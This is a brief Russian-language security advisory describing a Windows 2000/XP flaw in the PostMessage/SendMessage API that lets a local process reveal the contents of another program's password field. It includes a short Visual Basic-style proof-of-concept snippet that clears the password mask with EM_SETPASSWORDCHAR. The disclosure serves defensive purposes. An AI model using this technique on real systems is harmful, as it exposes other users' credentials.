Недостаток в Microsoft Windows 2000/XP PostMessage() API позволяет локальным пользователям получать пароли других пользователей
Уязвимость обнаружена в Microsoft Windows user interface Messages и Message Queueing API. Локальный пользовательский процесс может собирать пароли пользователей.
Недостаток обнаруженный в функции PostMessage позволяет локальному пользователю посылать сообщение к любой очереди сообщений (Message Queueing), в т.ч. и к потоку другого процесса.
Локальный пользователь может вызвать функцию SendMessage с EM_SETPASSWORDCHAR сообщением. Сообщение функции EM_SETPASSWORDCHAR PostMessage может использоваться, чтобы получить содержание поля пароля.
Пример:
'SendMessage posts the message and activates the message
'queue immediately
'Postmessage waits for the app to service the message queue
hwnd is the target Edit box handle
'Get the password character from the Edit box
current_passchar = SendMessage(hwnd, EM_GETPASSWORDCHAR, 0, 0)
'Disable the Password Character
'Only Post Message will work for SETPASS in win2k
ret = PostMessage(hwnd, EM_SETPASSWORDCHAR, 0, 0)
Уязвимость обнаружена в Microsoft Windows 2000/XP.